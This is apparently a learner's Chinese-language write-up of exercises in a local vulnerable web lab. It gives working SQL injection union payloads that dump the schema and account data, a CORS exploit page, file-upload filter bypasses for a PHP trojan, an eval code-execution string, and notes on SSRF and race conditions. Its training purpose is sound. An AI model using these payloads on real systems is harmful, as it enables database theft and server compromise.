2.-1 order by 3 #
查看列数。
3. 爆数据库名为pentest:-1 union select 1,2,database() #
4. 看数据库你让有哪些表名:-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='pentest' #
5 爆出news 表中的字段:-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='news' #
6.爆出字段中“title”和“content”的具体内容,以“#”隔开:
发现爆出的内容和最初页面的展现的内容一样…然后又尝试爆出另一个表中的字段内容:-1 union select 1,2,concat_ws("#",rest,own) from pentest.account #
1.查找注入点,因为是字符型,所以先测试单引号,1' #
,页面回显sq语句,所以单引号是注入点。
2. 用order by 语句确定字段数为3.1' order by 3 #
3. 用UIion联合查询当前数据库名:1' union select 1,2,database() #
1.输入1后看到回显sq语句中输入内容被%和单引号包裹,因此要同时闭合单引号和“%”
没有闭合% 所以框框内没有东西。
闭合后:1%' or 1=1 #
2.查到注入点后 用前两关的办法爆数据库名:1%' union select 1,2,database()#
当前数据库名仍是“pentest”,所以后面步骤与之前的也一样1%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pentest'#
没听说过jsonp劫持,百度到的官方解释如下:
JSON 劫持又为“ JSON Hijacking ”,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。其实这个问题属于 CSRF( Cross-site request forgery 跨站请求伪造)攻击范畴。当某网站听过 JSONP 的方式来快域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
也就是说:
jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据。
作者提供的POC里有相应的代码以供我们参考
然后利用这个代码在本机创建一个HTML页面,URL设置为我们要攻击的
作者给的是把截到信息alert出来,但我这边好像出了问题没有弹框出来。不过换成了document.write 让信息直接显示在页面上也是一样的
后面我又重新试了试alert 也成功了:
先百度查阅这个是什么:
CORS(Cross-Origin Resource Sharing 跨来源资源共享),CORS允许浏览器向跨域服务器发出XmlHttpRequest请求,CORS与JSONP的区别:是JSONP的升级版,JSONP只能通过get方式请求,CORS支持get和post请求。
CORS跨域原理: 向header中注入Access-Control-Allow-Origin服务端过判断请求头中的参数是否被允许的域来决定请求源是否有权限获取数据。
查看源码:
可以看到:Access-Control-Allow-Origin: *
*
表示所有的请求源的所有形式的请求,都被允许访问数据,这样就造成了一个跨域读取敏感信息的漏洞。
然后我们就可以构造代码 以获取信息。
因为水平有限 ,写不出来。。。所以就先看看作者提供的poc里面的代码吧
这是前端页面,这里作者用了两种请求方式 post 和get ,因为CORS支持get和post请求。
get提交的样式:
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','',true);
// req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: $_GET["url"];?>
Response:
+ req.responseText + "";
// document.write(this.responseText);
};
</script>
</body>
</html>
因为作者代码我不大能懂,然后我又在网上另外找了一个简单点的构造页面代码,改了目标网址
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === 4) {
alert(xhr.responseText);
}
}
xhr.open("GET","http://127.0.0.1/DoraBox-master/csrf/userinfo.php");
xhr.send();
}
cors();
</script>
</body>
</html>
这里是首先定义了一个函数cors,以get形式访问目标网址,创建XMLHttpRequest对象为xhr,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。
这个限制文件类型 ,所以用burpsuite抓包改包。(客户端绕过)
先上传一个允许上传类型的文件木马,比如我这里先上传的是后缀名为.jpg的木马文件,通过burpsuite抓包后改后缀名为.php,就能够绕过成功了。
验证原理:当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。
绕过方法:这是content-type字段的校验,通过burpsuite抓包然后修改content-type字段内容为image/gif 等允许上传类型对应的MIME值就可以绕过了
这个类似于黑名单检测的原理:服务器程序根据一份文件后缀名的名单来判断是否允许当前文件上传到服务器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传。
绕过方法有好几种:
1,通过修改文件名大小写绕过,比如:.pHp .Asp
我在这里尝试这样是可行的
2. 通过特殊文件名绕过,比如在burpsuite里修改后缀名为 .php.jpg .php. .php_ 等等
这个类似于我在其他博客上看到的文件头类型校验:
(这里放上一篇写了详细文件绕过类型的博客:https://blog.csdn.net/ncafei/article/details/53401961)
于是我在burpsuite抓包后在文件头添加了以上4中,类型的文件头。只有 GIF 89A 绕过成功
代码执行漏洞的成因: 应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
获得当前工作路径代码为 ${exit(print(getcwd()))}
获取成功:
又或者:
我这里有很多命令都执行不成功,不是说任意命令吗。。。
然后就只有 whoami 执行出来有回显
查阅资料:
SSRF (Server-side Request Forge, 服务端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
SSRF的作用:
1.扫描内部网络
2.向内部任意主机的任意端口发送恶意数据包
3.DDOS内网攻击
4.暴力穷举(获取敏感文件)
随便输个,然后提示说打开文件失败,并且可以看到用的函数是file_get_contents()
所以这个应该可以用来读文件。
看到这里提示输入URL,我就试了试能不能访问百度,然后是可以的:
然后试试读网站下其他目录的文件,读取成功
访问成功
我又试了试看看能不能访问百度,也访问成功了。
条件竞争:
发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
所以我的理解是,如果采用多线程的并发请求时,如果上一次的支付流程还没有结束就进行了下一次的流程,那么两次查询到的余额可能会是一样的,那么在扣除的时候就可能会产生负数。
有两种攻击的方法:
1.利用burpsuite抓包,设置intruder发送50个数据包,线程调到20左右发包,在这种多并发的请求下,就会产生余额为负数的情况。
(由于我的burpsuite无法设置线程数,所以我用的下面的方法)
2.用python脚本跑。
但我的水平有限,所以就用的作者提供的poc里的脚本跑的
但是我测试了很多次都只能跑到余额为0,没能使余额变成负数。。。
是因为这个成功率太低了吗。。
然后为了是使功率提高,我在源码里加了一句代码 sleep(3);
(看一个up主说的)
弄不起,只能用python脚本上传文件。
后面补上。。
就直接读取文件。。。